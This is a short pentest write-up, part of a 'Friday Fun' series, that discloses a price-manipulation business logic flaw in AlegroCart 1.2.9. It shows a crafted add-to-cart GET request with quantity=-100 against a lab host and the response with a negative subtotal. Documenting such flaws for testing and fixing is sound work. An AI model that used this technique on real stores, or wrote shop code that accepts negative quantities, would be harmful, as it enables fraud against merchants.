Friday Fun Pentest Series - 24 - Business Logic Flaw: Price Manipulation - alegrocartv1.2.9

Description

- The "quantity" parameter was vulnerable to business logic flaw, that affected the end price result

Business Logic Flaw: Price Manipulation #1:

Steps to Reproduce:

1. Visit the store and add a product
2. Intercept the HTTP GET request and add negative value to the "quantity" parameter

// HTTP GET request

GET /alegrocart/index.php?controller=addtocart&action=add&item=10&quantity=-100 HTTP/1.1

Host: 192.168.58.129

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0

[...]

// HTTP response

HTTP/1.1 200 OK

Date: Thu, 03 Apr 2025 22:16:58 GMT

Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev Perl/v5.16.3

X-Powered-By: PHP/5.6.40

Cache-Control: max-age=0, private, no-store, no-cache, must-revalidate

Expires: Thu, 03 Apr 2025 22:16:58 GMT

Vary: Accept-Encoding

Content-Length: 813

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8

<div class="headingcolumn pointer" onclick="ShowCart()"><h3>Cart  ^</h3></div>

<div  class="cart">

<div id="cart_content" class="cart_content">

<div id="cart_products">

<table>

<tr>

<td>-100&nbsp;x&nbsp;</td>

<td class="ff"><a href="http://192.168.58.129/alegrocart/?controller=product&amp;product_id=10">Featured13/8&quot;&amp;1/2&quot;</a></td>

<td class="ee"> $-1,599.00</td>

</tr>

</table>

</div>

<div class="aa">Subtotal:$-1,599.00</div>

<div class="cc">1 Product(s) - <div class="dd">-100 Item(s)</div></div>

<div class="bb" id="cart_button"><a href="http://192.168.58.129/alegrocart/?controller=cart">View Cart</a></div>

[...]